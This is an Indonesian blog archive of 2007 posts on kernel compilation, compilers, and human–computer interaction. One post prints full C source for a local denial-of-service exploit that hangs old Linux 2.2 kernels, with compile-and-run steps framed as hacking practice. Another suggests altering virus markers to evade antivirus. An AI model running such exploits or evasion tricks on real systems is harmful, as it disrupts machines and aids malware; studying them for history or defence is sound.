Koedoes’s Weblog











{October 18, 2007}   Kompail Kernel
Kompail Kernel
Seperti yang telah diketahui, kernel adalah program yang dimuat pada
saat boot yang berfungsi sebagai interface antara user-level program
dengan hardware. Secara teknis linux hanyalah sebuah kernel. Pogram
lain seperti editor, kompiler dan manajer yang disertakan dalam paket
(SuSE, RedHat,Mandrake,dll) hanyalah distribusi yang melengkapi
kernel menjadi sebuah sistem operasi yang lengkap. Kernel membutuhkan
konfigurasi agar dapat bekerja secara optimal.

Konfigurasi ulang dilakukan jika ada device baru yang belum dimuat.
Setelah melakukan konfigurasi, lakukan kompilasi untuk mendapatkan
kernel yang baru. Tahap ini memerlukan beberapa tool, seperti
kompiler dsb. Kompile kernel ini dilakukan jika ingin mengupdate
kernel dengan keluaran terbaru. Kernel ini mungkin lebih baik dari
pada yang lama.

Tahap kompilasi ini sangat potensial untuk menimbulkan kesalahan atau
kegagalan, oleh karena itu sangat disarankan untuk mempersiapkan
emergency boot disk, sebab kesalahan umumnya mengakibatkan sistem mogok.

Ada beberapa langkah yang umumnya dilakukan dalam mengkompilasi
kernel, yaitu :
1. Download kernel
   Tempat untuk mendownload kernel ada di beberapa situs internet.
	Silakan dicari sendiri. Tetapi biasanya di "kambing.vlsm.org" ada
	versi-versi kernel terbaru. Source kernel tersebut biasanya dalam
	format linux-X.X.XX.tar.gz, di mana X.X.XX menunjukkan nomor versi
	kernel. Misalnya 2.6.11. Nomor tersebut dibagi menjadi tiga
	bagian, yaitu:
	- Major number
   - Minor number
   - Revision number
   Pada contoh versi kernel di atas (2.6.40), angka 2 menunjukkan
	major number. Angka ini jarang berubah. Perubahan angka ini
	menandakan adanya perubahan besar (upgrade) pada kernel. Kemudian
	angka 6 menunjukkan minor number. Angka ini menunjukkan
	stabilitas. Angka genap (0,2,4,6,dst) menunjukkan kernel tersebut
	telah stabil. Angka ganjil menandakan bahwa kernel tersebut dalam
	tahap pengembangan. Kernel ganjil mengandung experimental-code
	atau feature terbaru yang ditambahkan leh developernya. Kernel
	genap pada saat dirilis tidak ada penambahan lagi dan dianggap
	sudah stabil. Percobaan terhadap feature-featur terbaru biasanya
	dilakukan pada kernel dengan nomor minor yang ganjil. Dua angka
	terakhir (11) menunjukkan nomor revisi. Ini menandakan current
	path versi tersebut. Selama tahap pengambangan, nomor ini cepat
	berubah. Kadang sampai dua kali dalam seminggu.

2. Kompilasi Kernel
   Kompile akan memakan waktu lama, dan seperti telah diberitahukan
	diatas, sangat mungkin untuk menimbulkan kegagalan.
	Di direktori /usr/src/linux jalankan:
	make dep; make clean; make zImage.
	Perintah make dep : membaca file konfigurasi dan membentuk
	dependency tree. proses ini mengecek apa yang dikompile dan apa
	yang tidak.
	make clean : menghapus seluruh jejak kompilasi yang telah
	dilakukan sebelumnya. Ini memastikan agar tidak ada feature lama
	yang tersisa.
	make zImage : Kompilasi yang sesungguhnya. Jika tidak ada
	kesalahan akan terbentuk kernel terkompresi dan siap dikompilasi.

	Sebelum dikompile, modul-modul yang berhubungan perlu dikompile
	juga dengan make modules. Cek lokasi kernel, umumnya nama kernel
	dimulai dengan vmlinuz, biasanya ada di direktori
	/boot, atau buka /etc/lilo.conf untuk memastikannya. Di sini tidak
	akan dijelaskan secara mendetail langkah-langkah dalam mengompile
	kernel. Langkah-langkah ini dapat dilihat di banyak situs, salah
	satunya situs "bebas.vlsm.org/v09/onno-ind-1/ network/
	ppt-linux-ethernet-10-2000.ppt" yang dibuat oleh Onno W. Purbo
	dengan slide. Sebelum kernel modul diinstalasi, sebaiknya back up
	dulu modul lama. Keuntungan memback-up modul lama adalah bila
	nanti modul baru tidak berjalan baik, maka modul lama bisa
	digunakan lagi dengan menghapus modul baru. Setelah tahap ini
	selesai, jalankan lilo, reboot sistem dan lihat hasilnya.

3. Konfigurasi Kernel
   Konfigurasi kernel adalah tahap terpenting yang menentukan
	kualitas sebuah kernel. Mana yang harus diikutkan, dan mana yang
	harus ditinggal sesuai tuntutan hardware dan keperluan.

	Konfigurasi dimulai dari directori /usr/src/linux. Ada tiga cara:
	- make config, berupa text base interface, cocok untuk user yang
 	  memiliki terminal mode lama dan tidak memiliki setting termcap.
	- make menuconfig, berupa text base juga tapi memiliki puldown
	  menu berwarna, digunakan untuk user yang memiliki standar
	  console.
	- make xconfig, interface menggunakan layar grafik penuh, untuk
	  user yang sudah memiliki X Window.

	Ada sekitar 14 menu pilihan dimulai dari Code maturity level
	options sampai kernel hacking. Masing-masing memiliki submenu bila
	dipilih dan pilihan yes(y), module(m), atau no(n). Setiap pilihan
	dimuat/kompile ke dalam kernel akan memperbesar ukuran kernel.
	Karena itu pilih feature-feature yang sering digunakan atau
	jadikan module untuk feature yang tidak sering digunakan. Dan
	jangan memasukkan feature-feature yang tidak dibutuhkan. Setelah
	selesai melakukan pilihan konfigurasi, simpanlah sebelum keluar
	dari layar menu konfigurasi.

4. Patch Kernel
   Setiap dikeluarkan kernel versi terbaru juga dikeluarkan sebuah
	file patch. File patch ini jauh lebih kecil dari file source
	kernel sehingga jauh lebih cepat bila digunakan untuk upgrade
	kernel.File ini hanya bekerja untuk mengupgrade satu versi kernel
	dibawahnya. Misalnya, versi kernel 2.4.19 hanya bisa diupgrade
	dengan file patch 2.4.20 menjadi kernel 2.4.20. Umumnya file patch
	ini tersedia pada direktori yang sama di FTP dan website yang
	menyediakan source kernel. File-file patch tersedia dalam
	format .gz


Meng-compile Eksploit Dalam Bahasa C

Onno W. Purbo

Pada saat penggembaraan kita dalam melakukan hacking sering kali kita memperoleh program (eksploit) yang dapat digunakan untuk mengeksploitasi sebuah sistem. Program ini tidak jarang berbentuk source code bukan executable dalam bahasa C yang perlu kita compile agar menjadi bentuk executable yang dapat dijalankan.

Di samping itu, cara belajar hacking yang terbaik adalah dengan mempelajari program orang lain yang telah sukses dalam melakukan hacking. Atau melihat struktur program yang ada. Di Linux, proses belajar ini menjadi sangat cepat karena sebagian besar source code Linux tersedia / terbuka & dapat kita lihat menggunakan teks editor biasa pada directory:

/usr/src/linux

Tentunya sebelum melihat demikian banyak source code ada baiknya anda membaca-baca berbagai teknik yang berkaitan dengan kerja sistem operasi / Linux maupun kerja Internet yang di dokumentasikan dalam bentuk file Request For Comment (RFC) yang dapat di ambil secara gratis di berbagai situs Internet, seperti http://www.internic.net, http://www.linuxdoc.org dsb.

Contoh sebuah source code eksploit untuk Linux kernel 2.2-2.3.99 saya tampilkan berikut ini.

/*            [http://b0f.morphed.net] – eth0                */
/*                                                       */
/* Vulnerable
Linux 2.2.12
Linux 2.2.13
Linux 2.2.14
Linux 2.3.99-pre2

The following exploit code will hang any Linux machine on various
Pentium platforms.

Note that this does not require any special privileges, and any user
Can compile and run it, so watch out kiddies…

The send system call immediately puts the kernel in a loop spewing
kmalloc: Size (131076) too large forever
(or until you hit the reset button).

Apparently UNIX domain sockets are ignoring the
/proc/sys/net/core/wmem_max parameter,
despite the documentation to the contrary.

[information provided by Jay Fenlason]
[http://b0f.morphed.net]
[buffer0verfl0w security]
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>

char buf[128 * 1024];

int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;

for ( i = 0; i < bufsize; i++ )
buf[i] = ‘ ‘+(i%95);
buf[i] = ”;

SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, “/dev/log”, sizeof(SyslogAddr.sa_data)
);
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)
);
return 0;
}

Eksploit ini merupakan teknik yang membuat buffer (stack) over flow sehingga mesin Linux anda tidak bisa beroperasi lagi seperti hang, kecuali anda reset. Kebetulan saya menggunakan Mandrake 8.0 yang menggunakan kernel 2.4.3 yang tidak terpengaruh terhadap eksploit ini.

Setelah ada mengedit file source code dalam bahasa C dengan teks editor biasa. Langkah selanjutnya adalah mengcompile-nya. Pada masa lalu (jaman DOS 3.3), saya biasanya menggunakan Turbo C untuk mengcompile source code. Saat ini dengan menggunakan Linux, jika di install fasilitas development-nya, maka GNU C Compiler (gcc) biasanya merupakan bagian integral dari fasilitas development pada Linux.

Pada Linux, proses compiling dapat dilakukan secara sederhana saja, dengan menuliskan perintah:

$ gcc eksploit.c –o eksploit

maka file eksploit.c akan di compile menjadi executable yang dalam hal ini di  beri nama eksploit (oleh perintah –o eksploit) yang kemudian dapat dijalankan dengan perintah:

$ ./eksploit

Jika anda mulai melakukan pemrogramman yang kompleks dengan banyak source file C, maka biasanya dibantu dengan file Makefile yang akan mengatur cara-cara membuat objek code & compile dari masing-masing source code.



Kompiler Project #1 – Scientific Text Calculator

Pembuatan sebuah kalkulator ekspresi aritmatika berbasis teks yang bisa diinputkan ke dalam suatu text box atau text area dan kemudian ekspresi tersebut dikonversikan terlebih dahulu ke dalam ekspresi postfiks ( bisa menggunakan stack atau tree ), dan terakhir dapat dihitung nilai hasil ekspresinya.

Jenis operator yang diterima adalah: +, *, /, % (modulus/sisa hasil bagi), ^ (pangkat) , dan -
Jenis operand yang diterima adalah: bilangan negatif dan positif, baik itu bilangan bulat ataupun pecahan (dengan tanda pemisah pecahan adalah titik (.)).
Jenis operator lain yang bisa diterima adalah tanda kurug buka dan tutup yang akan digunakan untuk memberikan kejelasan urutan pengerjaan operasi. Dan perlu diperhatikan juga tentang derajat operator.

Contoh ekspresi aritmatika:
(((3 + 2) * (10 – 5) / -5)^2) % 2 * (-3 + 12)
Hasil postfix:
3 2 + 10 5 – * -5 / 2 ^ 2 % -3 12 + *
Hasil Akhir: 9

Program dapat dibuat dengan bahasa pemrograman apapun. Saran bahasa pemrograman yang dapat digunakan adalah Pascal, Delphi, C, C++, Visual Basic, .NET, Java, JavaScript (tidak boleh menggunakan fungsi eval), VBScript, dan PHP/ASP.
Program dibuat dengan mengimplementasikan teknik parsing, regular expression, dan error handling. Program TIDAK BOLEH dibuat dengan menggunakan database apapun juga. Diperbolehkan menggunakan FoxPro asalkan tidak menggunakan database.

Tugas dikerjakan secara pribadi dan dikumpulkan maksimal pada tanggal 5 Oktober 2006 pukul 12.00 WIB melalui email ke anton@ukdw.ac.id dalam bentuk file ZIP yang bernama <NIMANDA>.zip. Lewat waktu tersebut tugas tidak akan dinilai.
Dalam file ZIP tersebut harus disertakan source code file, EXE (jika ada), dan README.txt yang berisi NIM, nama, dan keterangan program (misalnya cara penggunaan, cara kompilasi, cara eksekusi, dan lain-lain) secara jelas, singkat dan tidak bertele-tele.

Program dibuat secara individual, sehingga tidak boleh ada perkerjaan yang sama (mencontek). Jika ada pekerjaan yang ketahuan sama maka semua pekerjaan tersebut akan diberi nilai -15%.

Contoh dapat dilihat dan dicoba disini:

Arithmatic Expression:
Postfix Expression:

The Result :



{October 18, 2007}   COMPILER

Apa sih compiler ituh?????apa yah….kalo secara ilmiah saya gak bisa jelasin tapi biasanya

dipakai untuk menggenerate program yang akan dibuat. Misalnya sebuah source code di vsual

basic akan dijadikan sebuah software aplikasi atau program….maka source code tersebut

harus di-compile sedemikian rupa agar jadi sebuah aplikasi ato software dengan sebuah

compiler…

CIRI – CIRI PROGRAM COMPILER

Ciri-cirinya :

1) Dapat memodifikasi Caption program sehingga menjadi nama lain. Misalnya sebuah program

dicopy biasa dari komputer satu ke komputer lain maka captionnya akan sama…catatan bukan

nama apliaksi or .exe nya yang diubah…tapi judul program yang ada di atas apliaksi

tersebut.

2) Dapat mengganti gambar dari aplikasi tersebut. Misalnya gambar A.jpg diletakkan dalam

sebuah program. Kalau dicopy secara biasa, otomatis gambar A.jpg akan ter-copy juga ke

program tersebut. Tetapi bila dicompile…maka gambar dapat berubah.

FUNGSI PROGRAM COMPILER

Fungsi dari program compiler ini adalah :

1) Mengubah caption, sehingga jika suatu program dikunci oleh virus seperti regedit,

msconfig, ms Dos shell dan lain – lain dapat tetap dijalankan, karena fungsi dari compiler

tersebut merubah caption program. Biasanya virus mendeteksi dari caption program tersebut

untuk menendang atau mematikan program dalamkode pertahanan virus.

2) Buat seneng- seneng and nambah program ajah….hahahahahhahaha

CARA KERJA COMPILER SEDERHANA

cara kerjanya sangat mudah, seperti yang disebutkan bahwa compiler disini adalah sangat

sederhana sekalai. Sehingga masih menggunakan fasilitas dari VB berupa modul COPYFILE. Jadi

bukan dicompiler secara murni, jadi Algoritma nya :

1) Program Dijalankan
2) Program akan mengecek apakah file yang diperlukan untuk compiler ada…disini saya

memakai aplikasi rdfce.ext
3) Setelah menemukan file rdfce.ext maka program akan menjalankan modul COPYFILE untuk

menyalin isi dari text dan gambar
4) Kemudian program akan mencompile aplikasi dan mengeluarkan file output sesuai dengan

nama file…kalau disini defaultnya test.exe

Mudah kan…..

PENERAPAN

Hal jahat :

Bisa diterapkan di aplikasi virus, misalkan untuk memberi penanda pada virus yang akan

digandakan. Misalnya virus a diberi penanda karakter A, otomatis untuk menyebarkan virus

tersebut agar tidak terdeteksi antivirus, maka kita harus memberi penanda lain. Dengan

menjalankan modul compiler tersebut kita dapat memberi penanda virus A dengan karakter B.

Tul gak.

Hal Baik:

Bisa diterapkan di aplikasi pembunuh virus seperti show kill process. Anda bisa donlot

showkillprocess di www.virologi.info. Tapi biasanya sebuah virus sudah menandai, jika

showkillprocess.exe berjalan, maka program tersebut akan dimatikan (Seperti brontok yang

menendang apliaksi regedit). Nah dengan menjalankan modul compiler ini kita dapat mengubah

isi caption dari program showkillprocess.exe sehingga caption-nya berbeda dan aplikasi

tersebut tidak ditendang oleh virus tersebut.

BEDAH PROGRAM

di dalam source code ada sebuah variabel :

Dim PropBag As New PropertyBag

- yang berarti variabel bebas. Variabel ini berisi caption, gambar dan password yang akan

diberikan kepada file compiler tersebut.

With PropBag
.WriteProperty “Caption”, txtCaption.Text
.WriteProperty “Text”, txtText.Text
.WriteProperty “Picture”, imgPic.Picture
.WriteProperty “Protected”, chkPass.Value
.WriteProperty “Password”, txtPass.Text
End With

- Nah disini kita bisa mengeset apakah caption, gambar atau password.

FileCopy App.Path & “\rdfce.ext”, App.Path & “\” & txtExeFile.Text

- Menyalin file sumber dan meng-compile sesuai caption, gambar dan password

Open App.Path & “\” & txtExeFile.Text For Binary As #1
BeginPos = LOF(1)

varTemp = PropBag.Contents

Seek #1, LOF(1)
Put #1, , varTemp
Put #1, , BeginPos

Close #1

- Membuat file compiler sesuai nama yang diinginkan, kalau di sini defaultnya test.exe

Nah coba jalankan program tersebut, kemudian isi caption, gambar and password sesuai

keinginan deh…okay!!!!!

SOURCE CODE DAN PROGRAM DAPAT DIDOWNLOAD DI SINI :

a href=”http://www.virologi.info/download/compiler.zip”>SOURCE CODE DAN PROGRAM COMPILER

SELAMAT MENCOBA…..



{October 18, 2007}   Teknik Kompilasi

Teknik Kompilasi

Merupakan Teknik dalam melakukan pembacaan suatu program yang ditulis dalam bahasa sumber, kemudian diterjemahkan ke dalam suatu bahasa lain yang disebut bahasa sasaran.

Dalam melakukan proses penerjemahan tersebut, sudah barang tentu kompilator akan melaporkan adanya keanehan-keanehan atau kesalahan yang mungkin ditemukannya. Proses penerjemahan yang dilakukan oleh kompilator ini disebut proses kompilasi (compiling).

Bila dipandang sepintas lalu, maka akan timbul beranekaragam kompilator yang dapat dibuat,
- Bahasa Sumber seperti bahasa FORTRAN, PASCAL, C dan juga bahasa-bahasa lainnya yang sifat dan pemakaiannya agak spesifik atau khusus, seperti bahasa untuk program DBASE, SPSS dan lain sebagainya.
- Bahasa Sasaran dapat berupa bahasa sumber lain seperti C, FORTRAN dan lain sebagainya atau Bahasa Mesin (Machine Language) yang digunakan oleh suatu prosessor mikro atau sumber komputer besar maupun komputer super.

Sejarah perkembangan suatu kompilator sudah dimulai sejak lama, yaitu pada saat mulai ditemukannya komputer pada awal 1950-an.

Sejak waktu tersebut teknik dan cara pembentukan suatu kompilator telah berkembang dengan sangat pesat dan pembentukkan suatu kompilator dapat dilakukan makin mudah.

Demikian pula program bantu (tools) untuk membuat suatu kompilator sudah dapat diperoleh sehingga pembentukan suatu kompilator dapat dilakukan dengan cepat.

Kompilator pertama yang dibuat adalah kompilator untuk bahasa FORTRAN yang pada saat itu dikembangkan dengan memakan sejumlah tenaga ahli yang setara dengan pekerjaan yang dilakukan oleh 18 orang.

Dengan adanya program bantu dan tata cara pembentukan yang sistematis dan tertata dengan baik serta pendefinisian struktur bahasa yang cermat, maka suatu kompilator untuk bahasa yang terstruktur seperti PASCAL atau C dapat dikembangkan.

Proses kompilasi dari suatu kompilator pada dasarnya dapat dibagi ke dalam 2 bagian utama yaitu bagian analisis dan bagian sintesis.

- Tahap analisis program yang ditulis dalam bahasa sumber dibagi dan dipecah ke dalam beberapa bagian yang kemudian akan dipresentasikan ke dalam suatu bentuk antara dari program sumber.
Operasi-operasi yang dilakukan oleh program sumber ditentukan dan dicatat dalam suatu struktur pohon (tree) yang disebut dengan nama pohon sintaks (sintax tree) Dalam hal ini setiap nodal pada tree tersebut menyatakan suatu operasi, sedangkan anak dari nodal (titik) tersebut memberikan argumen yang diperlukan
Secara umum proses dalam tahap analis terdiri dari 3 bagian utama, yaitu
a. Proses analisis leksikal
b. Proses analisis sintaktik
c. Proses analisis semantik

- Tahap sintesis yang berikutnya program sasaran dibentuk berdasarkan representasi antara yang dihasilkan pada tahap analisis.
Untuk tahap sintetis terdiri dari 2 bagian utama, yaitu
a. Proses yang menghasilkan kode (code generator)
b. Proses optimasi kode (code optimizer)

Sebelum Bahasa sasaran dapat dihasilkan, dalam melakukan ini tiap bagian utama akan berhubungan dan berkomunikasi dengan suatu berkas tabel yang disebut tabel simbol (symbol table) yaitu suatu tabel yang berisi semua simbol yang digunakan dalam bahasa sumber.

Selain kompilator masih diperlukan beberapa program lainnya sebelum dapat dibentuk bahasa sasaran yang dapat dijalankan. Seperti suatu bahasa sumber dapat dituliskan dalam beberapa modul yang terpisah dan disimpan dalam beberapa file yang terpisah.

Untuk menanggulangi hal ini, maka suatu program khusus yang disebut dengan suatu praprosesor digunakan untuk mengumpulkan modul-modul yang saling lepas ini ke dalam suatu program baru. Praposesor dapat pula melengkapi singkatan-singkatan atau ungkapan-ungkapan maupun kependekan-kependekan yang digunakan dalam bahasa sumber seperti pendefinisian makro dan lain sebagainya.



{October 18, 2007}   Mendekonstruksi Peran Mouse

Mendekonstruksi Peran Mouse

screen shot dontclick.itKemaren nemu site experimental dontclick. Jadi pingin membahas isu-isu User Interface / Human Computer Interaction lagi.

Site dontclick merupakan situs research tentang kebiasaan pengguna dengan piranti masukan mouse. Aturannya sederhana saja : penggunanya diharamkan menggunakan tombol atau meng-klik mouse mereka. Semua interaksi menggunakan medium pergerakan kursor pada koordinat x-y layar. Gambar dan informasi yang bersesuaian akan muncul dengan cukup mengarahkan mouse kita ke menu yang kita inginkan. Artinya klik digantikan dengan mode gerakan. Ada berbagai macam eksperimen di situ termasuk juga tutorial serta eksperimen bagaimana kita mengganti klik dengan gerakan sirkular pada layar.
Jika Anda ternyata mengklik tikus di bawah tangan Anda ketika sedang berkunjung ke sana, maka mereka akan merekamnya. Sengaja atau tidak, mereka akan mengkonfirmasinya. Termasuk keseluruhan gerakan yang Anda lakukan saat bertandang ke situs dontclick. Namanya juga penelitian. Mereka butuh mengerti bagaimana pengalaman pengguna akan membentuk suatu persepsi psikologis kognitif saat mereka menghadapi lingkungan yang baru apalagi mensarahkan meninggalkan kebiasaan lama pengguna komputer. Apakah teknik tersebut bermanfaat dalam mendekati pengguna? Apakah pengguna merasa nyaman atau malah frustasi? Secara ergonomis apakah ada hubungannya antara menghilangkan klik mouse dengan kesehatan manusia? (ini sepertinya berlebihan).

Saya sendiri salut dengan ide brilian ini. Ternyata bisa juga tombol yang imut itu ditinggalkan. Navigasi web yang smooth dan mudah. Namun sekali lagi ia tidak cukup signifikan untuk diterapkan. Klik tetaplah lebih nyaman. Karena ada hal2 yang tidak tergantikan oleh gerak.

Pertama adalah real model. Beragam inovasi diluncurkan agar User Interface (UI) semirip mungkin dengan dunia nyata. Pemodelan yang paling sederhana misalnya adalah sebuah tombol (button). Tombol berfungsi untuk memicu sebuah action. Menggunakannya adalah dengan cukup ditekan. Dalam hal ini pemodelan meng-klik mouse lebih mirip menekan tombol daripada sekedar menyentuh atau meraba-raba. Tolong, jangan ngeres ya.
Kedua yaitu faktor feedback. Mouse mampu menyajikan kemantapan dan kepuasan umpan balik bagi pengguna. Gerakan meng-klik tombol, sensasi sentuhan atas-bawah berpegas, suara ‘klik’ dari mouse lebih mampu membuat pengguna merasa terwakili. Alias lebih marem.

Alasan lainnya adalah tidak semua menu ingin kita lihat. Jika kita tak sengaja mengarahkan mouse ke menu lain maka akan tampil informasi lain. Hal ini cukup mengganggu jika kita sedang fokus membaca sebuah informasi yang cukup panjang. Akhirnya adalah kita harus selalu waspada dengan keberadaan posisi kursor kita. Salah letak bisa membuat kita berjarak dengan informasi yang kita butuhkan. Capek d!

Tak kalah penting yaitu alokasi gerakan kursor yang dilakukan oleh UI dontclick akan lebih banyak. Apalagi jika klik diganti dengan gerakan memutar di atas sebuah pilihan. Padahal terlalu banyak menggerakkan mouse hanya untuk mengakses menu merupakan salah satu ciri antarmuka yang kurang bersahabat.

Anyway, its another point for breaking the habit. Nice one!



Human Computer Interaction Technology
Kamis, 24 Mei 07 – by : Nani Tachjar

Seminar Technology Update XIX

Rabu, 16 Mei 2007 Stimik Perbanas telah mengadakan seminar mengenai “Human Computer Interaction Technology” dengan pembicara Arry Akhmad Armand, praktisi Multimedia sekaligus pencipta Text to Speech (TTS) dalam bahasa Indonesia.

Seminar ini membahas mengenai teknologi interaksi antara manusia dan komputer yang ada saat ini. Peserta disuguhkan materi yang dapat memperkaya wawasan mengenai dunia interaksi antara manusia dan komputer.

Antara lain penggunaan aplikasi TTS dalam bahasa Indonesia untuk membantu para tuna netra dalam menggunakan perangkat komputer atau pun untuk penggunaan aplikasi lainnya.

Selain itu, peserta juga ditantang untuk menemukan aplikasi speech recognition dalam bahasa Indonesia yang hingga kini belum menghasilkan produk yang sempurna. (R&D)

Materi seminar dapat diunduh di: http://stibanas.ac.id/files/LanguageTechnology.ppt



{October 16, 2007}   Interaksi Manusia Komputer
Interaksi Manusia Komputer

Numan Computer Interaction
Oleh: Tim Pengajar Universitas Gunadarma
Universitas Gunadarma
Dibuat: 2005-11-26 , dengan 1 file(s).

Keywords: Human Computer Interaction
Pengertian Interaksi Manusia-Komputer
Ketika komputer pertama kali diperkenalkan secara komersial pada tahun 50-an, mesin ini sangat sulit dipakai dan sangat tidak praktis. Hal demikian karena waktu itu komputer merupakan mesin yang sangat mahal dan besar, hanya dipakai dikalangan tertentu, misalnya para ilmuwan atau ahli-ahli teknik.
Setelah komputer pribadi (PC) diperkenalkan pada tahun 70-an, maka berkembanglah penggunaan teknologi ini secara cepat dan mengagurnkan ke berbagai penjuru kehidupan (pendidikan, perdagangan, pertahanan, perusahaan, dan sebagainya). Kemajuan-kemajuan teknologi tersebut akhirnya juga mempengaruhi rancangan sistem. Sistem rancangan dituntut harus bisa memenuhi kebutuhan pemakai, sistem harus mempunyai kecocokkan dengan kebutuhan pemakai atau suatu sistem yang dirancang harus berorientasi kepada pemakai. Pada awal tahun 70-an ini, juga mulai muncul isu teknik antarmuka pemakai (user interface) yang diketahui sebagai Man-Machine Interaction (MMI) atau Interaksi Manusia-Mesin.
Para peneliti akademis mengatakan suatu rancangan sistem yang berorientasi kepada pemakai, yang memperhatikan kapabilitas dan kelemahan pemakai ataupun sistem (komputer) akan memberi kontribusi kepada interaksi manusia-komputer yang lebih baik. Maka pada pertengahan tahun 80-an diperkenalkanlah istilah Human-Computer Interaction (HCI) atau Interaksi Manusia-Komputer.



Computer Supported Collaborative Research (CSCR)

CSCR merupakan bidang baru terkait riset masyarakat HCI. CSCR merupakan kelanjutan dari pendahulunya, yaitu Computer Supported Collaborative Work (CSCW) dan Computer Supported Collaborative Learning (CSCL). Keduanya ini merupakan subyek riset HCI hampir sepuluh tahun yang lalu.

Gambar berikut menampilkan kedudukan dari ketiganya (merupakan bagian dari HCI)

Gambar CSCR 1

Perbedaan utama antara CSCW dan CSCL yaitu bahwa CSCW dikarakteristikan oleh “kebutuhan akan ruang kerja (workingspace)” sedangkan CSCL membutuhkan ruang kerja dan ruang belajar (learningspace)

Workingspace adalah domain tempat aktivitas-aktivitas berikut berlangsung: communication space, scheduling space, sharing space, dan product space.

Learning space adalah domain yang memuat seluruh aspek workingspace ditambah dengan aktivitas berikut: reflection space, social space, assessment space, tutor space, dan administration space

Perbedaan utama antara CSCR dan CSCL adalah bahwa suatu rekord penuh dari seluruh interaksi antar partisipan merupakan tool penting dan dibutuhkan untuk mengevaluasi kontribusi setiap anggota dalam suatu collaboratiob group yang nanti dapat menentukan “suatu share modal yang adil (a fair capital share) apabila proyek riset berjalan dengan sukses.is successful.

CSCR membutuhkan Workingspace, Learningspace, dan aktivitas-aktivitas berikut: knowledge space, publication space, privacy space, publication space, negotiation space.

compare

(Sumber VH-Hoare)

Published August 9th, 2007

Computer Supported Collaborative Research (CSCR)

CSCR merupakan bidang baru terkait riset masyarakat HCI. CSCR merupakan kelanjutan dari pendahulunya, yaitu Computer Supported Collaborative Work (CSCW) dan Computer Supported Collaborative Learning (CSCL). Keduanya ini merupakan subyek riset HCI hampir sepuluh tahun yang lalu.

Gambar berikut menampilkan kedudukan dari ketiganya (merupakan bagian dari HCI)

Gambar CSCR 1

Perbedaan utama antara CSCW dan CSCL yaitu bahwa CSCW dikarakteristikan oleh “kebutuhan akan ruang kerja (workingspace)” sedangkan CSCL membutuhkan ruang kerja dan ruang belajar (learningspace)

Workingspace adalah domain tempat aktivitas-aktivitas berikut berlangsung: communication space, scheduling space, sharing space, dan product space.

Learning space adalah domain yang memuat seluruh aspek workingspace ditambah dengan aktivitas berikut: reflection space, social space, assessment space, tutor space, dan administration space

Perbedaan utama antara CSCR dan CSCL adalah bahwa suatu rekord penuh dari seluruh interaksi antar partisipan merupakan tool penting dan dibutuhkan untuk mengevaluasi kontribusi setiap anggota dalam suatu collaboratiob group yang nanti dapat menentukan “suatu share modal yang adil (a fair capital share) apabila proyek riset berjalan dengan sukses.is successful.

CSCR membutuhkan Workingspace, Learningspace, dan aktivitas-aktivitas berikut: knowledge space, publication space, privacy space, publication space, negotiation space.



{October 16, 2007}   Wiimote – revolusi HCI

Wiimote – revolusi HCI

Bagi yang sudah bosan “terkungkung” dengan keyboard, mouse, dll sebagai perangkat HCI, perangkat-perangkat baru menjadi selalu menarik.
Ada alat yang bisa mendeteksi seluruh gerakan tubuh kita. Webcam yang bisa mendeteksi gerakan di depannya. Bagi penderita RSI, keyboard & mouse khusus jadi sangat membantu mereka. Ada lagi software text-to-speech, dan kebalikannya, speech-to-text. Dan banyak lagi lainnya.

Tapi yang paling menarik bagi saya (selain brain plug) adalah Wiimote. Sejak pertama kali tersiar kabar mengenai alat yang unik ini, saya yakin bahwa akan ada revolusi besar – paling tidak bagi posisi Nintendo sendiri di pertarungan di arena game console.

Pertama, Wiimote mengusung konsep input yang sangat menarik – motion sensor. Sebetulnya Wiimote bukan yang pertama – beberapa di antaranya telah saya sebutkan di paragraf pertama. Namun, Wiimote sepertinya adalah yang pertama yang sukses secara massal, mudah digunakan, harganya terjangkau, dan universal – tidak hanya di Nintendo Wii, namun kinipun sudah mulai bisa digunakan di PC.

Kedua, Wiimote bukan hanya perangkat input (IR sensor, motion sensor, buttons); namun sekaligus juga adalah perangkat output (force feedback, speaker, LED).

Ketiga, aplikasi Wiimote tidak hanya semata untuk game, berbeda dengan game controllers lainnya; tapi bisa jauh lebih luas lagi dari itu.

Kemarin ini saya berbincang-bincang dengan kawan mengenai potensi Wiimote — software (bukan video) tutorial aerobik, dimana Anda musti menggerak-gerakkan Wiimote sesuai instruksi. Keahlian Anda tidak hanya menjadikan Anda top scorer, namun sekaligus menjadikan badan lebih sehat.
Lalu Wiimote sebagai interface ke dunia virtual seperti SecondLife. Atau, belajar karate dengan Wiimote ? Tidak hanya mendapatkan nilai tinggi dan instant gratification / kepuasan melihat musuh-musuh di layar bertumbangan, Anda juga mendapat keahlian praktis. Dan masih banyak potensi lainnya.

Mudah-mudahan Nintendo dan vendor software PC bisa segera menyadari peluang ini, dan mewujudkannya menjadi kenyataan. Mari kita tunggu bersama-sama.



et cetera